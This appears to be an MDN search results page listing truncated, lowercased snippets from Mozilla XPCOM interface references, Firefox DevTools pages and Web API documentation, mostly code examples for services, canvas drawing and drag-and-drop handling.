last changed in gecko 1.8.1 (firefox 2 / thunderbird 2 / seamonkey 1.1) inherits from nsistreamconverter implemented by @mozilla.org/txttohtmlconv;1 as a service: var ios = components.classes["@mozilla.org/txttohtmlconv;1"] .getservice(components.interfaces.mozitxttohtmlconv); method overview unsigned long citeleveltxt(in wstring line, out unsigned long loglinestart) void findurlinplaintext(in wstring text, in long alength, in long apos, out long astartpos, out long aendpos) wstring scanhtml(in wstring text, in unsigned long whattodo) ...
...this applies to "<", "&", and ">" (which are converted to &lt;, &amp;, and &gt;, respectively).
... kstructphrase unsigned long enables conversion of text attributes, such as converting "*some text*" to boldfaced "some text" by wrapping in the html <strong> element.
...And 2 more matches
nsICookieManager2
to create an object implementing this interface: components.utils.import("resource://gre/modules/services.jsm"); var cookieservice = services.cookies; method overview void add(in autf8string ahost, in autf8string apath, in acstring aname, in acstring avalue, in boolean aissecure, in boolean aishttponly, in boolean aissession, in print64 aexpiry); boolean cookieexists(in nsicookie2 acookie); unsigned long countcookiesfromhost(in autf8stri...
...therefore, if the specified host is "weather.yahoo.com", host or domain cookies for "weather.yahoo.com" and "yahoo.com" would both be counted, while a cookie for "my.weather.yahoo.com" would not.
... unsigned long countcookiesfromhost( in autf8string ahost ); parameters ahost the host string to look for, such as "google.com".
...And 2 more matches
nsIDOMWindow
this attribute is "replaceable" in javascript.
...this attribute is "replaceable" in javascript.
...this attribute is "replaceable" in javascript.
...And 2 more matches
nsIExternalProtocolService
that is, pass "mailto" not "mailto:".
...for example, "mms".
...-nickolay <pre> // first construct an nsiuri object using the ioservice var ioservice = components.classes["@mozilla.org/network/io-service;1"].getservice(components.interfaces.nsiioservice); var uritoopen = ioservice.newuri("http://www.example.com/", null, null); var extps = components.classes["@mozilla.org/uriloader/external-protocol-service;1"] .getservice(components.interfaces.nsiexternalprotocolservice); if (extps.externalprotocolhandlerexists("tlcxp")) { // handler for http:// urls exists } else { // suppress external-load warning for standard browser schemes pref("network.protocol-handler.external.tlcxp", true); pref("network.protocol-handler.app.tlcxp, "lzx"); } </pre> getprotocolhandlerinfo() retrieve the handl...
...And 2 more matches
nsILocalFile
to create an instance, use: var localfile = components.classes["@mozilla.org/file/local;1"] .createinstance(components.interfaces.nsilocalfile); method overview void appendrelativenativepath(in acstring relativefilepath); native code only!
... example #include "prlink.h" #include "nserror.h" #include "nsilocalfile.h" // load the dll corresponding to the given nsilocalfile...
... example #include <stdio.h> #include "nserror.h" #include "nsilocalfile.h" // read the contents of a nsilocalfile...
...And 2 more matches
nsIMemory
if you need to monitor low memory conditions, you should watch for the low memory notifications "memory-pressure" notifications instead.
... a client that wishes to be notified of low memory situations (for example, because the client maintains a large memory cache that could be released when memory is tight) should register with the observer service (see nsiobserverservice) using the topic "memory-pressure".
...these types will be passed as the adata parameter of the of the "memory-pressure" notification: "low-memory" this will be passed as the value of adata when a low-memory condition occurs (not necessarily an out-of-memory condition).
...And 2 more matches
nsIMessageWakeupService
requesting wakeups to request a wakeup, a wakeup condition must be registered with the category manager in the "wakeup-request" category.
... the easiest way to do this is to add the appropriate entry to the chrome manifest that registers your component (see category in "chrome registration").
..."@mozilla.org/myservice;1").
...And 2 more matches
nsIObserver
example the following code is an implementation of nsiobserver that is registered to receive notifications for the "mytopicid" topic.
... }, register: function() { var observerservice = components.classes["@mozilla.org/observer-service;1"] .getservice(components.interfaces.nsiobserverservice); observerservice.addobserver(this, "mytopicid", false); }, unregister: function() { var observerservice = components.classes["@mozilla.org/observer-service;1"] .getservice(components.interfaces.nsiobserverservice); observerservice.removeobser...
...ver(this, "mytopicid"); } } instantiation - this should be fired once you're ready to start observing (for example a window's load event).
...And 2 more matches
nsIPermissionManager
remarks this service broadcasts the following notification when the permission list is changed: topic : "perm-changed" (perm_change_notification) broadcast whenever the permission list changes in some way.
... data : "deleted" a permission was deleted.
... data : "added" a permission was added.
...And 2 more matches
nsIProcess
to create an instance, use: var process = components.classes["@mozilla.org/process/util;1"] .createinstance(components.interfaces.nsiprocess); method overview void init(in nsifile executable); void initwithpid(in unsigned long pid); obsolete since gecko 1.9.2 void kill(); void run(in boolean blocking, [array, size_is(count)] in string args, in unsigned long count); void runasync([array, size_is(count)] in string args, in unsigned long count, [optional] in nsiobserver observer, [optiona...
...the observer will receive this nsiprocess instance as the subject and "process-finished" or "process-failed" as the topic.
...the observer will receive this nsiprocess instance as the subject and "process-finished" or "process-failed" as the topic.
...And 2 more matches
nsIProtocolProxyService
to access the service use: var pps = components.classes["@mozilla.org/network/protocol-proxy-service;1"] .getservice(components.interfaces.nsiprotocolproxyservice); method overview deprecated since gecko 18 nsiproxyinfo resolve(in nsiuri auri, in unsigned long aflags); nsicancelable asyncresolve(in nsiuri auri, in unsigned long aflags,in nsiprotocolproxycallback acallback); nsiproxyinfo newproxyinfo(in acstring atype, in autf8string ahost,in long aport, in unsigned long aflag...
... however, if the nsiproxyinfo type is "http", then it means that the given uri should be loaded using the http protocol handler, which also supports nsiproxiedprotocolhandler.
... note: if pac is configured, and the pac file has not yet been loaded, then this method will return a nsiproxyinfo instance with a type of "unknown" to indicate to the consumer that asyncresolve should be used to wait for the pac file to finish loading.
...And 2 more matches
nsISocketTransportService
to create an instance, use: var sockettransportservice = components.classes["@mozilla.org/network/socket-transport-service;1"] .getservice(components.interfaces.nsisockettransportservice); method overview void attachsocket(in prfiledescptr afd, in nsasockethandlerptr ahandler); native code only!
...currently "starttls", "ssl" and "udp" are supported.
...you do not need to specify the strings "socks" or "socks4", use the aproxyinfo instead.
...And 2 more matches
nsISupports proxies
proxy_async, on the other hand, is a "fire and forget" method call.
...once you have a proxy object, you may use it as if it is the "real" object.
... all the methods that are in the "real" object are stubbed into the proxy object.
...And 2 more matches
nsITextInputProcessorNotification
types "request-to-commit" this is required to be handled.
... "request-to-cancel" this is required to be handled.
... "notify-detached" when the nsitextinputprocessor instance loses the rights to create composition, this is notified.
...And 2 more matches
nsITimer
to create an instance, use: var timer = components.classes["@mozilla.org/timer;1"] .createinstance(components.interfaces.nsitimer); users of instances of nsitimer should keep a reference to the timer until it is no longer needed in order to assure the timer is fired.
...the subject is set to the nsitimer object which fired, the topic is equal to "timer-callback" and data is always set to null.
...var event = { notify: function(timer) { alert("fire!"); } } // now it is time to create the timer...
...And 2 more matches
nsIVersionComparator
a version-part consists of up to four parts, all of which are optional: <number-a><string-b><number-c><string-d (everything else)> a version-part may also consist of a single asterisk "*" which indicates * "infinity".
... for additional backwards compatibility, if "string-b" is "+" then "number-a" is incremented by 1 and "string-b" becomes "pre".
...the service can be accessed directly via services.vc after loading services.jsm or with the following code: var versioncomparator = components.classes["@mozilla.org/xpcom/version-comparator;1"] .getservice(components.interfaces.nsiversioncomparator); method overview long compare(in acstring a, in acstring b); methods compare() compare two version strings.
...And 2 more matches
nsIWinTaskbar
an application can register its own "tab" previews.
...to create an instance, use: var wintaskbar = components.classes["@mozilla.org/windows-taskbar;1"] .getservice(components.interfaces.nsiwintaskbar); method overview nsijumplistbuilder createjumplistbuilder(); nsitaskbartabpreview createtaskbartabpreview(in nsidocshell shell, in nsitaskbarpreviewcontroller controller); nsitaskbarprogress gettaskbarprogress(in nsidocshell shell); nsitaskbarwindowpreview gettaskbarwindowpreview(in nsidoc...
... for xulrunner applications, the defaultgroupid attribute is configured using application.ini settings, and is of the format "vendor.application.version".
...And 2 more matches
nsIXMLHttpRequest
the interface definition: //github.com/realityripple/uxp/blob/master/dom/xhr/nsixmlhttprequest.idl elevated privileges as mentioned in the "non-standard properties" the property of channel was read-only.
...try something like this: nscomptr<nsidomeventtarget> target(do_queryinterface(myxmlhttpreq)); target->addeventlistener(ns_literal_string("load"), mylistener, pr_false) where mylistener is your event listener object that implements the interface nsidomeventlistener.
... example code this is a simple example code for opening a simple http request from a xul application (like a mozilla extension) without using observers: var req = components.classes["@mozilla.org/xmlextras/xmlhttprequest;1"].createinstance(); req.open('post', "http://www.foo.bar:8080/nietzsche.do", true); req.send('your=data&and=more&stuff=here'); example 2 var {cu: utils, cc: classes, ci: instances} = components; cu.import('resource://gre/modules/services.jsm'); function xhr(url, cb) { let xhr = cc["@mozilla.org/xmlextras/xmlhttprequest;1"].createinstance(ci.nsixmlht...
...And 2 more matches
nsIZipReader
to create an instance, use: var zipreader = components.classes["@mozilla.org/libjar/zip-reader;1"] .createinstance(components.interfaces.nsizipreader); about character sets and code pages note: nsizipreader has a code page problem; that is, in the zip specification, filenames are supposed to use 7-bit ascii; however, most modern filesystems use 8 bit code pages, such as utf-8.
... note: prior to gecko 1.9 you first had to call init()"." void open( in nsifile zipfile ); parameters zipfile the zip file to open.
...change "portabletester@jetpack.xpi" to the name of a xpi file in your extensions folder.
...And 2 more matches
Frequently Asked Questions
comparing an nscomptr to a raw xpcom interface pointer declaring an nscomptr to a forward-declared class not linking to xpcom not including nscomptr.h different settings of nscap_feature_debug_ptr_types runtime errors ns_assertion "queryinterface needed" may be caused by a class that derives from a given interface, when you forgetting to also specify the interface name in the ns_impl_isupports / ns_impl_threadsafe_isupports macro.
... ns_precondition "you can't dereference a null nscomptr with operator->()" ns_precondition "you can't dereference a null nscomptr with operator*()" other issues printf("%x\n", mynscomptr); can cause the program to crash on sigill (illegal instruction), and not on the line with the printf, which can make it tricky to figure out.
... for debugging purposes you can write printf("%x\n", mynscomptr.get()); how do i...
...And 2 more matches
Using nsIDirectoryService
c++ nscomptr<nsifile> dir; ns_getspecialdirectory(prop, getter_addrefs(dir)); if (!dir) return ns_error_failure; javascript: var file = components.classes["@mozilla.org/file/directory_service;1"] .getservice(components.interfaces.nsiproperties) .get("profd", components.interfaces.nsifile); (the example is taken from the code snippets section of this site.) adding a location: there are currently two ways to add a file location to the directory service: directly and delayed.
... you can directly add a new nsifile with any property string using the nsiproperties interface: components.classes["@mozilla.org/file/directory_service;1"] .getservice(components.interfaces.nsiproperties) .set("myfilename", file); now, if your cost is too high to set all of these properties at once, you can register to be a callback that can provide an nsifile.
...apart from this interface there is a function, registerprovider which will allow you to register a nsidirectoryserviceprovider, which implements the getfile callback function: var provider = { getfile : function(prop, persistant) { // return an nsifile }, } components.classes["@mozilla.org/file/directory_service;1"] .getservice(components.interfaces.nsidirectoryservice).registerprovider(provider); when the callback is called, it will be passed the string key, and should return an nsifile.
...And 2 more matches
Cached compose window FAQ
seth spitzer (sspitzer@mozilla.org) what is the "cached" compose window?
... instead of destroying the mail compose window on send (or close) just to create a new one the next time, mozilla mail will "cache" the compose window on send (or close), and use that instead.
... there is no "cached" window, so this will be as slow as step 4.
...And 2 more matches
Filelink Providers
also, you must add the component's contract id to the "cloud-file" category.
... custom settings fields to handle custom settings, the settings xhtml page should contain a form with the id "provider-form", with its onsubmit attribute set to "return false;".
... example: <form id="provider-form" onsubmit="return false;"> <label for="username">username:</label> <input id="username" type="text" required="true" /> <label for="server">server:</label> <input id="server" type="text" required="true" /> <label for="port">port:</label> <input id="port" pattern="[0-9]+" required="true" /> </form> the form is expected to use html5 form validation.
...And 2 more matches
Mail and RDF
msgaccounts:/ +-- http://home.netscape.com/nc-rdf#child --> | imap://alecf@imap.mywork.com | +-- http://home.netscape.com/nc-rdf#isserver --> "true" | +-- http://home.netscape.com/nc-rdf#child --> | imap://alecf@imap.mywork.com/inbox | +-- http://home.netscape.com/nc-rdf#totalmessages --> "4" | +-- http://home.netscape.com/nc-rdf#isserver --> "false" | +-- http://home.netscape.com/nc-rdf#messagechild --> | | imap_message://alecf@imap.mywork.com/inbox#1 | +-- http://h...
... +-- http://home.netscape.com/nc-rdf#child --> | mailbox://alecf@pop.mywork.com | +-- http://home.netscape.com/nc-rdf#isserver --> "true" | +-- http://home.netscape.com/nc-rdf#child --> | mailbox://alecf@pop.mywork.com/inbox | +-- http://home.netscape.com/nc-rdf#totalmessages --> "2" | +-- http://home.netscape.com/nc-rdf#isserver --> "false" | +-- http://home.netscape.com/nc-rdf#messagechild --> | | mailbox_message://alecf@pop.mywork.com/inbox#1 | +-- http...
... datasources and the ui mail does not link the ui to datasources in a "traditional" manner.
...And 2 more matches
Spam filtering
training data is stored in a binary format, in a file named "training.dat".
... on spam detection, the user can choose to move spam to a special "junk" folder.
... the user can configure junk mail can be automatically purged from the "junk" folder.
...And 2 more matches
Working with ArrayBuffers
pixelbuffer.tostring(); // "ctypes.uint8_t.ptr(ctypes.uint64("0x352e0000"))" var imgwidth = 400; var imgheight = 400; var myimgdat = new imagedata(imgwidth, imgheight); method 1: passing arraytype cdata to uint8clampedarray.prototype.set one method is to get into a js-ctypes array, and then set it into the imagedata, as illustrated by the following code example.
...var casted = ctypes.cast(pixelbuffer.address(), ctypes.uint8_t.array(myimgdata.data.length).ptr).contents; // myimgdat.data.length is imgwidth * imgheight * 4 because per pixel there is r, g, b, a numbers casted.tostring(); // "ctypes.uint8_t.array(640000)([45, 66, 135, 255, 99, 86, 55, 255, ..........
... ])" myimgdat.data.set(casted); the ctypes.cast takes a couple of milliseconds, however, the myimgdat.data.set takes up to 800ms for a size of 52,428,800 (which is image size of 1280 x 1024 pixels).
...And 2 more matches
CData
tosource() returns the string "t(arg)", where t and arg are implementation-defined javascript expressions intended to represent the type of the cdata object and its value, respectively.
... here is a method to read "malformed", it attempts to do readstring on it, if it errors then it tries to read it in another way, so this is an alternative to readstringreplacemalformed, it is an attempt at readingmalformed function readaschar8thenaschar16(stringptr, known_len, jschar) { // when reading as jschar it assumes max length of 500 // stringptr is either char or jschar, if you know its jschar for sure, pa...
...ss 2nd arg as true // if known_len is passed, then assumption is not made, at the known_len position in array we will see a null char // i tried getting known_len from stringptr but its not possible, it has be known, i tried this: //"stringptr.contents.tostring()" "95" //"stringptr.tostring()" "ctypes.unsigned_char.ptr(ctypes.uint64("0x7f73d5c87650"))" // so as we see neither of these is 77, this is for the example of "_scratchpad/entehandle.js at master · noitidart/_scratchpad mdnfirefox" // tries to do read string on stringptr, if it fails then it falls to read as jschar var readjscharstring = function() { var assumption_max_len = known_len ?
...And 2 more matches
Preferences System
reference information about them is available below: preferences system documentation: introduction: getting started | examples | troubleshooting reference: prefwindow | prefpane | preferences | preference | xul attributes use code for a typical preferences window may look like this: <prefwindow id="apppreferences" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <prefpane id="pane1" label="&pane1.title;"> <preferences> <preference id="pref1" name="pref.name" type="bool"/> </preferences> ..
... ui elements that refer to the preferences above, e.g.: <checkbox id="check1" preference="pref1" label="&check1.label;" accesskey="&check1.accesskey;"/> </prefpane> <prefpane id="pane2" label="&pane2.title;" src="chrome://uri/to/pane.xul"/> </prefwindow> pane content can be specified inline or an external chrome uri supplied for pane content to be loaded in via a dynamic overlay.
...usage in xulrunner applications when calling opendialog() to open a preferences dialog, "toolbar" should be included in the features string.
...And 2 more matches
Debugger.Object - Firefox Developer Tools
} then this debugger.object instance’s parameternames property would have the value: ["a", ["b", "c"], {d:"d", e:"f"}] script if the referent is a function that is debuggee code, this is that function’s script, as a debugger.script instance.
...this string takes one of the following values: "pending", if the promise is pending.
... "fulfilled", if the promise has been fulfilled.
...And 2 more matches
Debugger.Script - Firefox Developer Tools
the two cases are distinguished by their format property being "js" or "wasm".
... debugger.script for jsscripts for debugger.script instances referring to a jsscript, they are distinguished by their format property being "js".
... debugger.script for webassembly for debugger.script instances referring to a block of webassembly code, they are distinguished by their format property being "wasm".
...And 2 more matches
Migrating from Firebug - Firefox Developer Tools
the devtools web console shows those structures directly under the "response" tab.
... performance tool firebug allows to profile javascript performance via the "profile" button within the console panel or the console.profile() and console.profileend() commands.
...a profile can be created via console.profile() and console.profileend() like in firebug or via the "start recording performance" button in the performance tool.
...And 2 more matches
Paint Flashing Tool - Firefox Developer Tools
it tries to work out which parts of the screen are "damaged" and repaint only those.
...this can then cause a site to be slow responding to user input (also known as "janky").
... using the paint flashing tool open the toolbox, then click the icon labeled "highlight painted area": then try using the page.
...And 2 more matches
AnimationEvent() - Web APIs
it defaults to "".
...for an "animationstart" event, elapsedtime is 0.0 unless there was a negative value for animation-delay, in which case the event will be fired with elapsedtime containing (-1 * delay).
... pseudoelement optional is a domstring, starting with "::", containing the name of the pseudo-element the animation runs on.
...And 2 more matches
AudioBufferSourceNode - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#f...
...ff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/audionode" target="_top"><rect x="151" y="1" width="90" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="196" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">audionode</text></a><polyline points="241,25 251,20 251,30 241,25" stroke="#d4dde4" fill="none"/><line x1="251" y1="25" x2="281" y2="25" str...
...oke="#d4dde4"/><a xlink:href="/docs/web/api/audioscheduledsourcenode" target="_top"><rect x="281" y="1" width="240" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="401" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">audioscheduledsourcenode</text></a><polyline points="521,25 531,20 531,30 521,25" stroke="#d4dde4" fill="none"/><line x1="531" y1="25" x2="561" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/audiobuffersourcenode" target="_top"><rect x="561" y="1" width="210" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="666" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" align...
...And 2 more matches
CanvasRenderingContext2D.clip() - Web APIs
possible values: "nonzero": the non-zero winding rule.
... "evenodd": the even-odd winding rule.
... html <canvas id="canvas"></canvas> javascript the clipping region is a full circle, with its center at (100, 75), and a radius of 50.
...And 2 more matches
CanvasRenderingContext2D.fill() - Web APIs
possible values: "nonzero": the non-zero winding rule.
... "evenodd": the even-odd winding rule.
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.rect(10, 10, 150, 100); ctx.fill(); result specifying a path and a fillrule this example saves some intersecting lines to a path2d object.
...And 2 more matches
CanvasRenderingContext2D.fillText() - Web APIs
examples drawing filled text this example writes the words "hello world" using the filltext() method.
... <canvas id="canvas" width="400" height="150"></canvas> javascript the javascript code for this example follows.
... with that in hand, we set the font to 50-pixel-tall "serif" (the user's default serif font), then call filltext() to draw the text "hello world," starting at the coordinates (50, 90).
...And 2 more matches
CanvasRenderingContext2D.strokeText() - Web APIs
examples drawing text outlines this example writes the words "hello world" using the stroketext() method.
... <canvas id="canvas" width="400" height="150"></canvas> javascript the javascript code for this example follows.
... with that in hand, we set the font to 50-pixel-tall "serif" (the user's default serif font), then call stroketext() to draw the text "hello world," starting at the coordinates (50, 90).
...And 2 more matches
Advanced animations - Web APIs
<canvas id="canvas" width="600" height="300"></canvas> as usual, we need a drawing context first.
... <canvas id="canvas" style="border: 1px solid" width="600" height="300"></canvas> var canvas = document.getelementbyid('canvas'); var ctx = canvas.getcontext('2d'); var raf; var ball = { x: 100, y: 100, vx: 5, vy: 2, radius: 25, color: 'blue', draw: function() { ctx.beginpath(); ctx.arc(this.x, this.y, this.radius, 0, math.pi * 2, true); ctx.closepath(); ctx.fillstyle = this.col...
... second demo <canvas id="canvas" style="border: 1px solid" width="600" height="300"></canvas> var canvas = document.getelementbyid('canvas'); var ctx = canvas.getcontext('2d'); var raf; var ball = { x: 100, y: 100, vx: 5, vy: 2, radius: 25, color: 'blue', draw: function() { ctx.beginpath(); ctx.arc(this.x, this.y, this.radius, 0, math.pi * 2, true); ctx.closepath(); ctx.fillstyle = this.col...
...And 2 more matches
Transformations - Web APIs
s to the settings ctx.globalalpha = 0.5; ctx.fillrect(30, 30, 90, 90); // draw a rectangle with new settings ctx.restore(); // restore previous state ctx.fillrect(45, 45, 60, 60); // draw a rectangle with restored settings ctx.restore(); // restore original state ctx.fillrect(60, 60, 30, 30); // draw a rectangle with restored settings } <canvas id="canvas" width="150" height="150"></canvas> draw(); the first step is to draw a large rectangle with the default settings.
... function draw() { var ctx = document.getelementbyid('canvas').getcontext('2d'); for (var i = 0; i < 3; i++) { for (var j = 0; j < 3; j++) { ctx.save(); ctx.fillstyle = 'rgb(' + (51 * i) + ', ' + (255 - 51 * i) + ', 255)'; ctx.translate(10 + j * 50, 10 + i * 50); ctx.fillrect(0, 0, 25, 25); ctx.restore(); } } } <canvas id="canvas" width="150" height="150"></canvas> draw(); screenshotlive sample rotating the second transformation method is rotate().
... <canvas id="canvas" width="300" height="200"></canvas> draw(); screenshotlive sample scaling the next transformation method is scaling.
...And 2 more matches
DataTransfer.types - Web APIs
some values that are not mime types are special-cased for legacy reasons (for example "text").
... <!doctype html> <html lang=en> <title>examples of datatransfer.{types,items} properties</title> <meta content="width=device-width"> <style> div { margin: 0em; padding: 2em; } #target { border: 1px solid black; } </style> <script> function dragstart_handler(ev) { console.log("dragstart: target.id = " + ev.target.id); // add this element's id to the drag payload so the drop handler will // know which element to add to its tree ev.datatransfer.setdata("text/plain", ev.target.id); ev.d...
...atatransfer.effectallowed = "move"; } function drop_handler(ev) { console.log("drop: target.id = " + ev.target.id); ev.preventdefault(); // get the id of the target and add the moved element to the target's dom var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); // print each format type if (ev.datatransfer.types != null) { for (var i=0; i < ev.datatransfer.types.length; i++) { console.log("...
...And 2 more matches
DataTransferItem.getAsFile() - Web APIs
function drop_handler(ev) { console.log("drop"); ev.preventdefault(); var data = event.datatransfer.items; for (var i = 0; i < data.length; i += 1) { if ((data[i].kind == 'string') && (data[i].type.match('^text/plain'))) { // this item is the target node data[i].getasstring(function (s){ ev.target.appendchild(document.getelementbyid(s)); }); } else if ((data[i].kind == 'string') && (dat...
...a[i].type.match('^text/html'))) { // drag data item is html console.log("...
... drop: html"); } else if ((data[i].kind == 'string') && (data[i].type.match('^text/uri-list'))) { // drag data item is uri console.log("...
...And 2 more matches
DataTransferItem.getAsString() - Web APIs
function drop_handler(ev) { console.log("drop"); ev.preventdefault(); var data = ev.datatransfer.items; for (var i = 0; i < data.length; i += 1) { if ((data[i].kind == 'string') && (data[i].type.match('^text/plain'))) { // this item is the target node data[i].getasstring(function (s){ ev.target.appendchild(document.getelementbyid(s)); }); } else if ((data[i].kind == 'string') && (data[i...
...].type.match('^text/html'))) { // drag data item is html console.log("...
... drop: html"); } else if ((data[i].kind == 'string') && (data[i].type.match('^text/uri-list'))) { // drag data item is uri console.log("...
...And 2 more matches
DataTransferItem.type - Web APIs
function drop_handler(ev) { console.log("drop"); ev.preventdefault(); var data = ev.datatransfer.items; for (var i = 0; i < data.length; i += 1) { if ((data[i].kind == 'string') && (data[i].type.match('^text/plain'))) { // this item is the target node data[i].getasstring(function (s){ ev.target.appendchild(document.getelementbyid(s)); }); } else if ((data[i].kind == 'string') && (data[i...
...].type.match('^text/html'))) { // drag data item is html console.log("...
... drop: html"); } else if ((data[i].kind == 'string') && (data[i].type.match('^text/uri-list'))) { // drag data item is uri console.log("...
...And 2 more matches
DataTransferItem.webkitGetAsEntry() - Web APIs
html content the html establishes the drop zone itself, which is a <div> element with the id "dropzone", and an unordered list element with the id "listing".
... <p>drag files and/or directories to the box below!</p> <div id="dropzone"> <div id="boxtitle"> drop files here </div> </div> <h2>directory tree:</h2> <ul id="listing"> </ul> css content the styles used by the example are shown here.
... #dropzone { text-align: center; width: 300px; height: 100px; margin: 10px; padding: 10px; border: 4px dashed red; border-radius: 10px; } #boxtitle { display: table-cell; vertical-align: middle; text-align: center; color: black; font: bold 2em "arial", sans-serif; width: 300px; height: 100px; } body { font: 14px "arial", sans-serif; } javascript content first, let's look at the recursive scanfiles() function.
...And 2 more matches
DataTransferItemList.clear() - Web APIs
html <div> <p id="source" ondragstart="dragstart_handler(event);" ondragend="dragend_handler(event);" draggable="true"> select this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> css div { margin: 0em; padding: 2em; } #source { color: blue;...
... border: 1px solid black; } #target { border: 1px solid black; } javascript function dragstart_handler(ev) { console.log("dragstart"); // add this element's id to the drag payload so the drop handler will // know which element to add to its tree var datalist = ev.datatransfer.items; datalist.add(ev.target.id, "text/plain"); // add some other items to the drag payload datalist.add("<p>...
... paragraph ...</p>", "text/html"); datalist.add("http://www.example.org","text/uri-list"); } function drop_handler(ev) { console.log("drop"); ev.preventdefault(); var data = event.datatransfer.items; // loop through the dropped items and log their data for (var i = 0; i < data.length; i++) { if ((data[i].kind == 'string') && (data[i].type.match('^text/plain'))) { // this item is the target node data[i].getasstring(function (s){ ev.target.appendchild(document.getelementbyid(s)); }); } else if ((data[i].kind == 'string') && (data[i].type.match('^text/html'))) { // drag data item is html data[i].getasstring(function (s){ console.log("...
...And 2 more matches
DataTransferItemList.remove() - Web APIs
javascript function dragstart_handler(ev) { console.log("dragstart"); // add this element's id to the drag payload so the drop handler will // know which element to add to its tree var datalist = ev.datatransfer.items; datalist.add(ev.target.id, "text/plain"); // add some other items to the drag payload datalist.add("<p>...
... paragraph ...</p>", "text/html"); datalist.add("http://www.example.org","text/uri-list"); } function drop_handler(ev) { console.log("drop"); ev.preventdefault(); var data = event.datatransfer.items; // loop through the dropped items and log their data for (var i = 0; i < data.length; i++) { if ((data[i].kind == 'string') && (data[i].type.match('^text/plain'))) { // this item is the target node data[i].getasstring(function (s){ ev.target.appendchild(document.getelementbyid(s)); }); } else if ((data[i].kind == 'string') && (data[i].type.match('^text/html'))) { // drag data item is html data[i].getasstring(function (s){ console.log("...
... drop: html = " + s); }); } else if ((data[i].kind == 'string') && (data[i].type.match('^text/uri-list'))) { // drag data item is uri data[i].getasstring(function (s){ console.log("...
...And 2 more matches
Detecting device orientation - Web APIs
window.addeventlistener("deviceorientation", handleorientation, true); after registering your event listener (in this case, a javascript function called handleorientation()), your listener function periodically gets called with updated orientation data.
... so let's imagine a ball in a garden: <div class="garden"> <div class="ball"></div> </div> <pre class="output"></pre> this garden is 200 pixel wide (yes, it's a tiny one), and the ball is in the center: .garden { position: relative; width : 200px; height: 200px; border: 5px solid #ccc; border-radius: 10px; } .ball { position: absolute; top : 90px; left : 90px; width : 20px; height: 20px; background: green; border...
...eryselector('.ball'); var garden = document.queryselector('.garden'); var output = document.queryselector('.output'); var maxx = garden.clientwidth - ball.clientwidth; var maxy = garden.clientheight - ball.clientheight; function handleorientation(event) { var x = event.beta; // in degree in the range [-180,180] var y = event.gamma; // in degree in the range [-90,90] output.innerhtml = "beta : " + x + "\n"; output.innerhtml += "gamma: " + y + "\n"; // because we don't want to have the device upside down // we constrain the x value to the range [-90,90] if (x > 90) { x = 90}; if (x < -90) { x = -90}; // to make computation easier we shift the range of // x and y to [0,180] x += 90; y += 90; // 10 is half the size of the ball // it center the positioning ...
...And 2 more matches
Document.createElement() - Web APIs
don't use qualified names (like "html:a") with this method.
...in firefox, opera, and chrome, createelement(null) works like createelement("null").
... examples basic example this creates a new <div> and inserts it before the element with the id "div1".
...And 2 more matches
Document.designMode - Web APIs
valid values are "on" and "off".
... according to the specification, this property is meant to default to "off".
...the earlier versions of chrome and ie default to "inherit".
...And 2 more matches
Document.evaluate() - Web APIs
WebAPIDocumentevaluate
null is the most common and will create a new xpathresult example var headings = document.evaluate("/html/body//h2", document, null, xpathresult.any_type, null); /* search the document for all h2 elements.
...*/ var thisheading = headings.iteratenext(); var alerttext = "level 2 headings in this document are:\n"; while (thisheading) { alerttext += thisheading.textcontent + "\n"; thisheading = headings.iteratenext(); } alert(alerttext); // alerts the text of all h2 elements note, in the above example, a more verbose xpath is preferred over common shortcuts such as //h2.
...for example, if you know the content you are looking for is somewhere inside the body tag, you can use this: document.evaluate(".//h2", document.body, null, xpathresult.any_type, null); notice in the above document.body has been used as the context instead of document so the xpath starts from the body element.
...And 2 more matches
Document.getElementById() - Web APIs
example html <html> <head> <title>getelementbyid example</title> </head> <body> <p id="para">some text here</p> <button onclick="changecolor('blue');">blue</button> <button onclick="changecolor('red');">red</button> </body> </html> javascript function changecolor(newcolor) { var elem = document.getelementbyid('para'); elem.style.color = newcolor; } result usage notes the capitalization of "id" in the name of this method must be correct for the code to function; getele...
...because id values must be unique throughout the entire document, there is no need for "local" versions of the function.
... example <!doctype html> <html> <head> <meta charset="utf-8"> <title>document</title> </head> <body> <div id="parent-id"> <p>hello word1</p> <p id="test1">hello word2</p> <p>hello word3</p> <p>hello word4</p> </div> <script> var parentdom = document.getelementbyid('parent-id'); var test1 = parentdom.getelementbyid('test1'); //throw error //uncaught typeerror: parentdom.getelementbyid is not a function </script> </body> </html> if there is no element with the given id, this function returns null.
...And 2 more matches
Document - Web APIs
WebAPIDocument
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-widt...
